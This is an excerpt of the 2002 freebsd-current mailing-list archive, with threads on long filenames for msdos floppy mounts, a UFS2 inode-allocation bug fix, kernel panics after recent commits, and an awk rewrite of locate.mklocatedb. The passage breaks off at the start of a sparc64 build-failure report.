Subject: Re: Floppy only 8.3 filenames


> /dev/ad0s1              /dos            msdos   rw              0      0
>
> looks quite longfilenamed on my FAT32 slice since ages...
>
> On Sat, 2002-06-22 at 22:48, Peter Hessler wrote:
> > MS-DOS can only handle 8.3 file names.  It's by design (MS not
FreeBSD).
> >
> >
> > /snip/
> > > mount -t msdos /dev/fd0 /mnt
> >             ^^^^^^^^
> > /snip/
> >
> > --
> > Peter Hessler
> > <phessler@theapt.org>
> >
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-current" in the body of the message

ugh top-posting...

perhaps try forcing it with -o longnames ?

Brian K. White  --  brian@aljex.com  --  http://www.aljex.com/bkw/
+++++[>+++[>+++++>+++++++<<-]<-]>>+.>.+++++.+++++++.-.[>+<---]>++.
filePro BBx  Linux SCO  Prosper/FACTS AutoCAD  #callahans Satriani



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 14:15:30 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17])
	by hub.freebsd.org (Postfix) with ESMTP id 3F3E537B403
	for <current@freebsd.org>; Sat, 22 Jun 2002 14:15:22 -0700 (PDT)
Received: from fwd04.sul.t-online.de 
	by mailout02.sul.t-online.com with smtp 
	id 17LsE3-0005LX-06; Sat, 22 Jun 2002 23:15:19 +0200
Received: from twoflower.liebende.de (320072111332-0001@[217.80.127.28]) by fmrl04.sul.t-online.com
	with esmtp id 17LsDy-1DkhKyC; Sat, 22 Jun 2002 23:15:14 +0200
Subject: Re: Floppy only 8.3 filenames
From: Jan Stocker <jstocker@tzi.de>
Reply-To: jstocker@tzi.de
To: "Brian K. White" <brian@aljex.com>
Cc: current@FreeBSD.ORG
In-Reply-To: <004b01c21a30$cb68a360$0e00000a@briandesk>
References: <1024778356.423.55.camel@twoflower>
	<200206221348.50321.phessler@theapt.org>
	<1024779050.423.58.camel@twoflower> 
	<004b01c21a30$cb68a360$0e00000a@briandesk>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Ximian Evolution 1.0.7 
Date: 22 Jun 2002 23:13:43 +0200
Message-Id: <1024780423.423.62.camel@twoflower>
Mime-Version: 1.0
X-Sender: 320072111332-0001@t-dialin.net
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

This really helps and further mounts without the option will mount the
floppy with longnames, but i am sure i never used such an option. 

Thanx
	Jan

On Sat, 2002-06-22 at 23:07, Brian K. White wrote:
> 
> ----- Original Message -----
> From: "Jan Stocker" <Jan.Stocker@t-online.de>
> To: <phessler@theapt.org>
> Cc: <current@FreeBSD.ORG>
> Sent: Saturday, June 22, 2002 4:50 PM
> Subject: Re: Floppy only 8.3 filenames
> 
> 
> > /dev/ad0s1              /dos            msdos   rw              0      0
> >
> > looks quite longfilenamed on my FAT32 slice since ages...
> >
> > On Sat, 2002-06-22 at 22:48, Peter Hessler wrote:
> > > MS-DOS can only handle 8.3 file names.  It's by design (MS not
> FreeBSD).
> > >
> > >
> > > /snip/
> > > > mount -t msdos /dev/fd0 /mnt
> > >             ^^^^^^^^
> > > /snip/
> > >
> > > --
> > > Peter Hessler
> > > <phessler@theapt.org>
> > >
> > > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > > with "unsubscribe freebsd-current" in the body of the message
> 
> ugh top-posting...
> 
> perhaps try forcing it with -o longnames ?
> 
> Brian K. White  --  brian@aljex.com  --  http://www.aljex.com/bkw/
> +++++[>+++[>+++++>+++++++<<-]<-]>>+.>.+++++.+++++++.-.[>+<---]>++.
> filePro BBx  Linux SCO  Prosper/FACTS AutoCAD  #callahans Satriani
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 14:31:17 2002
Delivered-To: freebsd-current@freebsd.org
Received: from beastie.mckusick.com (beastie.mckusick.com [209.31.233.184])
	by hub.freebsd.org (Postfix) with ESMTP
	id CB8E937B400; Sat, 22 Jun 2002 14:31:10 -0700 (PDT)
Received: from beastie.mckusick.com (localhost [127.0.0.1])
	by beastie.mckusick.com (8.12.3/8.12.3) with ESMTP id g5MLV2n9024735;
	Sat, 22 Jun 2002 14:31:07 -0700 (PDT)
	(envelope-from mckusick@beastie.mckusick.com)
Message-Id: <200206222131.g5MLV2n9024735@beastie.mckusick.com>
To: freebsd-current@FreeBSD.ORG
Subject: Re: UFS2 related message?
Cc: Munehiro Matsuda <haro@h4.dion.ne.jp>,
	Poul-Henning Kamp <phk@critter.freebsd.dk>,
	Maxime Henrion <mux@FreeBSD.ORG>
X-URL: http://WWW.McKusick.COM/
Reply-To: Kirk McKusick <mckusick@McKusick.COM>
Date: Sat, 22 Jun 2002 14:31:02 -0700
From: Kirk McKusick <mckusick@beastie.mckusick.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

The problem with running out of inodes is now fixed and checked in
on freefall. You need to pick up /sys/ufs/ffs/ffs_alloc.c revision
1.94 or later. For those that care, the log entry describing the
problem:

----------------------------
revision 1.94
date: 2002/06/22 21:24:58;  author: mckusick;  state: Exp;  lines: +2 -2
This patch fixes a problem whereby filesystems that ran
out of inodes in a cylinder group would fail to check for
free inodes in other cylinder groups. This bug was introduced
in the UFS2 code merge two days ago.

An inode is allocated by calling ffs_valloc which calls
ffs_hashalloc to do the filesystem scan. Ffs_hashalloc
walks around the cylinder groups calling its passed allocator
(ffs_nodealloccg in this case) until the allocator returns a
non-zero result. The bug is that ffs_hashalloc expects the
passed allocator function to return a 64-bit ufs2_daddr_t.
When allocating inodes, it calls ffs_nodealloccg which was
returning a 32-bit ino_t. The ffs_hashalloc code checked
a 64-bit return value and usually found random non-zero bits in
the high 32-bits so decided that the allocation had succeeded
(in this case in the only cylinder group that it checked).
When the result was passed back to ffs_valloc it looked at
only the bottom 32-bits, saw zero and declared the system
out of inodes. But ffs_hashalloc had really only checked
one cylinder group.

The fix is to change ffs_nodealloccg to return 64-bit results.

Sponsored by:   DARPA & NAI Labs.
Submitted by:   Poul-Henning Kamp <phk@critter.freebsd.dk>
Reviewed by:    Maxime Henrion <mux@freebsd.org>
----------------------------

	Kirk McKusick

=-=-=-=-=-=

To: freebsd-current@FreeBSD.ORG
Subject: UFS2 related message?
Date: Sat, 22 Jun 2002 20:45:01 +0900
From: Munehiro Matsuda <haro@h4.dion.ne.jp>

Hello all,

After the import of UFS2 patch into -current, I get the following messages.

pid 397 (perl), uid 123 inumber 682496 on /home: out of inodes
pid 397 (perl), uid 123 inumber 682496 on /home: out of inodes
pid 397 (perl), uid 123 inumber 682496 on /home: out of inodes

Is it related to UFS2 by anyway?

FYI, here's what got with my disks.

% df -i
Filesystem  1K-blocks    Used   Avail Capacity iused   ifree %iused  Mounted on
/dev/ad0s2a    254063   91341  142397    39%    2615   60871    4%   /
devfs               1       1       0   100%       0       0  100%   /dev
/dev/ad0s3e   7185161 4473874 2136475    68%  227116 1574354   13%   /home
/dev/ad0s2f   2787666 1668475  896178    65%  176288  522078   25%   /usr
/dev/ad0s2e    254063   10456  223282     4%    1653   61833    3%   /var
procfs              4       4       0   100%       1       0  100%   /proc
linprocfs           4       4       0   100%       1       0  100%   /usr/compat/linux/proc
/dev/ad0s1    3663652 2542176 1121476    69%       0       0  100%   /dos
%

Thanks in advance,
  Haro
=------------------------------------------------------------------------------
           _ _    Munehiro (haro) Matsuda
 -|- /_\  |_|_|   Business Incubation Dept., Kubota Corp.
 /|\ |_|  |_|_|   1-3 Nihonbashi-Muromachi 3-Chome
                  Chuo-ku Tokyo 103-8310, Japan
                  Tel: +81-3-3245-3318  Fax: +81-3-3245-3315
                  Email: haro@kubota.co.jp

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 15:18:25 2002
Delivered-To: freebsd-current@freebsd.org
Received: from srv1.cosmo-project.de (srv1.cosmo-project.de [213.83.6.106])
	by hub.freebsd.org (Postfix) with ESMTP
	id 3833937B401; Sat, 22 Jun 2002 15:18:20 -0700 (PDT)
Received: from cicely5.cicely.de (cicely5.cicely.de [IPv6:3ffe:400:8d0:301:200:92ff:fe9b:20e7])
	(authenticated bits=0)
	by srv1.cosmo-project.de (8.12.3/8.12.3) with ESMTP id g5MMIDMa050485
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK);
	Sun, 23 Jun 2002 00:18:17 +0200 (CEST)
	(envelope-from ticso@cicely5.cicely.de)
Received: from cicely5.cicely.de (localhost [IPv6:::1])
	by cicely5.cicely.de (8.12.1/8.12.1) with ESMTP id g5MMIBFJ055454
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Sun, 23 Jun 2002 00:18:12 +0200 (CEST)?g
	(envelope-from ticso@cicely5.cicely.de)
Received: (from ticso@localhost)
	by cicely5.cicely.de (8.12.1/8.12.1/Submit) id g5MMIA9N055453;
	Sun, 23 Jun 2002 00:18:10 +0200 (CEST)?g
	(envelope-from ticso)
Date: Sun, 23 Jun 2002 00:18:10 +0200
From: Bernd Walter <ticso@cicely5.cicely.de>
To: Dag-Erling Smorgrav <des@ofug.org>
Cc: Nick Hibma <n_hibma@van-laarhoven.org>, alpha@FreeBSD.ORG,
	current@FreeBSD.ORG
Subject: Re: cvs commit: src/sys/pc98/pc98 sio.c src/sys/conf options options.i386 options.ia64 options.pc98 src/sys/dev/sio sio.c sioreg.h
Message-ID: <20020622221810.GH53233@cicely5.cicely.de>
Reply-To: ticso@cicely.de
References: <20020620162548.P4464-100000@uitsmijter.van-laarhoven.org> <xzp7kkuf2j9.fsf@flood.ping.uio.no> <xzpptymdlrd.fsf@flood.ping.uio.no> <xzphejydlbc.fsf@flood.ping.uio.no>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <xzphejydlbc.fsf@flood.ping.uio.no>
X-Operating-System: FreeBSD cicely5.cicely.de 5.0-CURRENT i386
User-Agent: Mutt/1.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Thu, Jun 20, 2002 at 05:25:11PM +0200, Dag-Erling Smorgrav wrote:
> Dag-Erling Smorgrav <des@ofug.org> writes:
> > It doesn't boot, however
> 
> FWIW, once I reverted your changes to sio,c and sioreg.h, it only got
> as far as:
> 
> Booting [/boot/kernel/kernel]...
> Entering /boot/kernel/kernel at 0xfffffc0000330a30...
> sio1: gdb debugging port
> Copyright (c) 1992-2002 The FreeBSD Project.
> Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994
>         The Regents of the University of California. All rights reserved.
> FreeBSD 5.0-CURRENT #10: Thu Jun 20 17:17:50 CEST 2002
>     root@dsa.thinksec.com:/usr/src/sys/alpha/compile/DSA
> panic: lockmgr: locking against myself
> panic
> Stopped at      0xfffffc00004f0e44:     zapnot  v0,#0xf,v0      <v0=0x6>
> db> trace
> db> reset
> 
> halted CPU 0

What kernel version did you run before?
To reduce the timerange:
I am running a version around 17th june.

-- 
B.Walter              COSMO-Project         http://www.cosmo-project.de
ticso@cicely.de         Usergroup           info@cosmo-project.de


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 16:21:27 2002
Delivered-To: freebsd-current@freebsd.org
Received: from pozo.com (pozo.com [216.101.162.50])
	by hub.freebsd.org (Postfix) with ESMTP id 385CE37B401
	for <current@FreeBSD.ORG>; Sat, 22 Jun 2002 16:21:19 -0700 (PDT)
Received: from quad.pozo.com (quad.pozo.com [216.101.162.53])
	by pozo.com (8.12.4/8.12.4) with ESMTP id g5MNLHD1000643
	(version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO)
	for <current@FreeBSD.ORG>; Sat, 22 Jun 2002 16:21:18 -0700 (PDT)
	(envelope-from null@pozo.com)
Message-Id: <5.1.1.6.2.20020622161753.00a867a8@pozo.com>
X-Sender: null@pozo.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1.1
Date: Sat, 22 Jun 2002 16:21:17 -0700
To: current@FreeBSD.ORG
From: Manfred Antar <null@pozo.com>
Subject: Current kernel panic
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

I get this with a current kernel compiled just a few minute ago (SMP)
Can't get to debugger as keystyrokes don't work
Kernel from the 19th before UFS2 works fine.

Additional routing options:.
Mounting NFS file systems:.


Fatal trap 12: page fault while in kernel mode
cpuid = 1; lapic.id = 0c000000
fault virtual address   = 0x4
fault code              = supervisor read, page not present
instruction pointer     = 0x8:0xc01d4e39
stack pointer           = 0x10:0xd19a7b8c
frame pointer           = 0x10:0xd19a7b8c
code segment            = base 0x0, limit 0xfffff, type 0x1b
                        = DPL 0, pres 1, def32 1, gran 1
processor eflags        = interrupt enabled, resume, IOPL = 0
current process         = 233 (rm)
trap number             = 12
panic: page fault
cpuid = 1; lapic.id = 0c000000
boot() called on cpu#1

syncing disks... panic: bdwrite: buffer is not busy
cpuid = 1; lapic.id = 0c000000
boot() called on cpu#1
Uptime: 13s
pfs_vncache_unload(): 1 entries remaining
Automatic reboot in 15 seconds - press a key on the console to abort
Rebooting...
cpu_reset called on cpu#1
cpu_reset: Stopping other CPUs
cpu_reset: Restarting BSP
cpu_reset_proxy: Stopped CPU 1




==================================
||      null@pozo.com           ||
||      Ph. (415) 681-6235      ||
==================================


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 16:22:36 2002
Delivered-To: freebsd-current@freebsd.org
Received: from maul.immure.com (ns.immure.com [207.8.42.72])
	by hub.freebsd.org (Postfix) with ESMTP id 88C0D37B405
	for <freebsd-current@freebsd.org>; Sat, 22 Jun 2002 16:22:29 -0700 (PDT)
Received: (from root@localhost)
	by maul.immure.com (8.11.5/8.11.2) id g5MNMTV67972
	for freebsd-current@freebsd.org; Sat, 22 Jun 2002 18:22:29 -0500 (CDT)
	(envelope-from bob@immure.com)
Received: from luke.immure.com (luke.vieo.com [10.1.132.3])
	by maul.immure.com (8.11.5/8.11.2) with ESMTP id g5MNMSw67932
	for <freebsd-current@freebsd.org>; Sat, 22 Jun 2002 18:22:28 -0500 (CDT)
	(envelope-from bob@immure.com)
Received: (from root@localhost)
	by luke.immure.com (8.12.3/8.12.3) id g5MNMS70050987
	for freebsd-current@freebsd.org; Sat, 22 Jun 2002 18:22:28 -0500 (CDT)
	(envelope-from bob@luke.immure.com)
Received: from luke.immure.com (localhost [127.0.0.1])
	by luke.immure.com (8.12.3/8.12.3) with ESMTP id g5MNMRxO050958
	for <freebsd-current@freebsd.org>; Sat, 22 Jun 2002 18:22:27 -0500 (CDT)
	(envelope-from bob@luke.immure.com)
Received: (from bob@localhost)
	by luke.immure.com (8.12.3/8.12.3/Submit) id g5MNMRqa050957
	for freebsd-current@freebsd.org; Sat, 22 Jun 2002 18:22:27 -0500 (CDT)
Date: Sat, 22 Jun 2002 18:22:27 -0500
From: Bob Willcox <bob@immure.com>
To: freebsd-current@freebsd.org
Subject: locate.mklocatedb requires perl which may not be installed
Message-ID: <20020622232227.GA50787@luke.immure.com>
Reply-To: Bob Willcox <bob@immure.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.99i
X-scanner: scanned by Inflex 1.0.12.3 on luke.immure.com
X-scanner: scanned by Inflex 0.1.5c+ on maul.immure.com
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Hi,

I just installed a system today using the 5.0-CURRENT-20020621-JPSNAP.iso
CDROM and noticed that when I attempted to run /etc/periodic/weekly/310.locate
so that I could use locate to find some files that it spewed out:

Perl is not installed, try 'pkg_add -r perl'

Rather than simply installing perl (I'll get to that later)
I decided to track down what was calling it. Turns out that
/usr/libexec/locate.mklocatedb was the culprit. I then modified
locate.mklocatedb to use awk rather than perl. Here's the diff:


--- locate.mklocatedb.orig	Thu Jun 20 17:07:43 2002
+++ locate.mklocatedb	Sat Jun 22 18:09:03 2002
@@ -76,14 +76,15 @@
 
     $code $bigrams > $filelist || exit 1
     locate -d $filelist / | $bigram | $sort -nr | head -128 |
-    perl -ne '/^\s*[0-9]+\s(..)$/ && print $1 || exit 1'  > $bigrams || exit 1
+    awk '{if (/^[   ]*[0-9]+[       ]+..$/) {printf("%s",$2)} else {exit 1}}' > $bigrams
+	|| exit 1
     locate -d $filelist / | $code $bigrams || exit 1
     exit 	
 
 else
     if $sortcmd $sortopt > $filelist; then
         $bigram < $filelist | $sort -nr | 
-	perl -ne '/^\s*[0-9]+\s(..)$/ && print $1 || exit 1' > $bigrams 
+	awk '{if (/^[ 	]*[0-9]+[ 	]+..$/) {printf("%s",$2)} else {exit 1}}' > $bigrams
 	    || exit 1
         $code $bigrams < $filelist || exit 1
     else


This seems to be working for me. It could likely be improved upon by the
perl and/or awk some expert out there. (I'm actually more familiar with
awk than perl but I wouldn't claim that my awk translation is the most
efficient either.)

-- 
Bob Willcox            If practice makes perfect, and nobody's perfect,
bob@vieo.com           why practice?
Austin, TX


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 17:55:56 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169])
	by hub.freebsd.org (Postfix) with ESMTP id B354337B400
	for <freebsd-current@freebsd.org>; Sat, 22 Jun 2002 17:55:51 -0700 (PDT)
Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1])
	by dragon.nuxi.com (8.12.3/8.12.2) with ESMTP id g5N0tnP8020324;
	Sat, 22 Jun 2002 17:55:49 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.12.4/8.12.3/Submit) id g5N0tlm6020323;
	Sat, 22 Jun 2002 17:55:47 -0700 (PDT)
Date: Sat, 22 Jun 2002 17:55:47 -0700
From: "David O'Brien" <obrien@freebsd.org>
To: Bob Willcox <bob@immure.com>
Cc: freebsd-current@freebsd.org
Subject: Re: locate.mklocatedb requires perl which may not be installed
Message-ID: <20020622175547.A98099@dragon.nuxi.com>
Reply-To: obrien@freebsd.org
References: <20020622232227.GA50787@luke.immure.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020622232227.GA50787@luke.immure.com>; from bob@immure.com on Sat, Jun 22, 2002 at 06:22:27PM -0500
X-Operating-System: FreeBSD 5.0-CURRENT
Organization: The NUXI BSD group
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Sat, Jun 22, 2002 at 06:22:27PM -0500, Bob Willcox wrote:
> Rather than simply installing perl (I'll get to that later)
> I decided to track down what was calling it. Turns out that
> /usr/libexec/locate.mklocatedb was the culprit. I then modified
> locate.mklocatedb to use awk rather than perl. Here's the diff:

Thanks, committed.
BTW, please take care about how your MUA handles ^I's vs. ' '. :-)

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 18: 9:30 2002
Delivered-To: freebsd-current@freebsd.org
Received: from maul.immure.com (ns.immure.com [207.8.42.72])
	by hub.freebsd.org (Postfix) with ESMTP id 66FC137B400
	for <freebsd-current@freebsd.org>; Sat, 22 Jun 2002 18:09:26 -0700 (PDT)
Received: (from root@localhost)
	by maul.immure.com (8.11.5/8.11.2) id g5N19Q770380
	for freebsd-current@freebsd.org; Sat, 22 Jun 2002 20:09:26 -0500 (CDT)
	(envelope-from bob@immure.com)
Received: from luke.immure.com (luke.vieo.com [10.1.132.3])
	by maul.immure.com (8.11.5/8.11.2) with ESMTP id g5N19Ow70298;
	Sat, 22 Jun 2002 20:09:25 -0500 (CDT)
	(envelope-from bob@immure.com)
Received: (from root@localhost)
	by luke.immure.com (8.12.3/8.12.3) id g5N19Otk052819;
	Sat, 22 Jun 2002 20:09:24 -0500 (CDT)
	(envelope-from bob@luke.immure.com)
Received: from luke.immure.com (localhost [127.0.0.1])
	by luke.immure.com (8.12.3/8.12.3) with ESMTP id g5N19OxO052794;
	Sat, 22 Jun 2002 20:09:24 -0500 (CDT)
	(envelope-from bob@luke.immure.com)
Received: (from bob@localhost)
	by luke.immure.com (8.12.3/8.12.3/Submit) id g5N19OBX052793;
	Sat, 22 Jun 2002 20:09:24 -0500 (CDT)
Date: Sat, 22 Jun 2002 20:09:24 -0500
From: Bob Willcox <bob@immure.com>
To: "David O'Brien" <obrien@freebsd.org>
Cc: freebsd-current@freebsd.org
Subject: Re: locate.mklocatedb requires perl which may not be installed
Message-ID: <20020623010924.GA52691@luke.immure.com>
Reply-To: Bob Willcox <bob@immure.com>
References: <20020622232227.GA50787@luke.immure.com> <20020622175547.A98099@dragon.nuxi.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020622175547.A98099@dragon.nuxi.com>
User-Agent: Mutt/1.3.99i
X-scanner: scanned by Inflex 1.0.12.3 on luke.immure.com
X-scanner: scanned by Inflex 0.1.5c+ on maul.immure.com
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Sat, Jun 22, 2002 at 05:55:47PM -0700, David O'Brien wrote:
> On Sat, Jun 22, 2002 at 06:22:27PM -0500, Bob Willcox wrote:
> > Rather than simply installing perl (I'll get to that later)
> > I decided to track down what was calling it. Turns out that
> > /usr/libexec/locate.mklocatedb was the culprit. I then modified
> > locate.mklocatedb to use awk rather than perl. Here's the diff:
> 
> Thanks, committed.
> BTW, please take care about how your MUA handles ^I's vs. ' '. :-)

Hmm, strange. The first awk line had the ^I's converted to spaces and
the second one didn't. Digging into this abit deeper, it seems that my
MUA (mutt) probably wasn't to blame afterall. It appears that I must
have hosed this up myself while editing the file. :-(

Bob

-- 
Bob Willcox            If practice makes perfect, and nobody's perfect,
bob@vieo.com           why practice?
Austin, TX


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 18:56:20 2002
Delivered-To: freebsd-current@freebsd.org
Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31])
	by hub.freebsd.org (Postfix) with ESMTP
	id A2D6A37B414; Sat, 22 Jun 2002 18:55:49 -0700 (PDT)
Received: by flood.ping.uio.no (Postfix, from userid 2602)
	id 92B215363; Sun, 23 Jun 2002 03:55:48 +0200 (CEST)
X-URL: http://www.ofug.org/~des/
X-Disclaimer: The views expressed in this message do not necessarily
  coincide with those of any organisation or company with
  which I am or have been affiliated.
To: ticso@cicely.de
Cc: Nick Hibma <n_hibma@van-laarhoven.org>, alpha@FreeBSD.ORG,
	current@FreeBSD.ORG
Subject: Re: cvs commit: src/sys/pc98/pc98 sio.c src/sys/conf options options.i386 options.ia64 options.pc98 src/sys/dev/sio sio.c sioreg.h
References: <20020620162548.P4464-100000@uitsmijter.van-laarhoven.org>
	<xzp7kkuf2j9.fsf@flood.ping.uio.no>
	<xzpptymdlrd.fsf@flood.ping.uio.no>
	<xzphejydlbc.fsf@flood.ping.uio.no>
	<20020622221810.GH53233@cicely5.cicely.de>
From: Dag-Erling Smorgrav <des@ofug.org>
Date: 23 Jun 2002 03:55:48 +0200
In-Reply-To: <20020622221810.GH53233@cicely5.cicely.de>
Message-ID: <xzpd6ui21y3.fsf@flood.ping.uio.no>
Lines: 10
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Bernd Walter <ticso@cicely5.cicely.de> writes:
> What kernel version did you run before?
> To reduce the timerange:
> I am running a version around 17th june.

So am I.

DES
-- 
Dag-Erling Smorgrav - des@ofug.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22 20: 3:31 2002
Delivered-To: freebsd-current@freebsd.org
Received: from espresso.q9media.com (espresso.q9media.com [216.254.138.122])
	by hub.freebsd.org (Postfix) with ESMTP id 418FD37B404
	for <current@freebsd.org>; Sat, 22 Jun 2002 20:03:24 -0700 (PDT)
Received: from bowie.private (d141-203-124.home.cgocable.net [24.141.203.124])
	by espresso.q9media.com (Postfix) with ESMTP id 3C6569C46
	for <current@freebsd.org>; Sat, 22 Jun 2002 23:00:50 -0400 (EDT)
Received: from bowie.private (localhost [127.0.0.1])
	by bowie.private (8.12.3/8.12.3) with ESMTP id g5L9e7p2053954
	for <current@freebsd.org>; Fri, 21 Jun 2002 09:55:08 GMT
	(envelope-from des@bowie.private)
Received: (from des@localhost)
	by bowie.private (8.12.3/8.12.3/Submit) id g5L9e7P3053952
	for current@freebsd.org; Fri, 21 Jun 2002 09:40:07 GMT
Date: Fri, 21 Jun 2002 09:40:07 GMT
From: Dag-Erling Smorgrav <des@sparc64.style9.org>
Message-Id: <200206210940.g5L9e7P3053952@bowie.private>
To: current@freebsd.org
Subject: sparc64 tinderbox failure
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

/usr/home/des/tinderbox/sparc64/src/contrib/sendmail/libmilter/engine.c: In function `mi_engine':
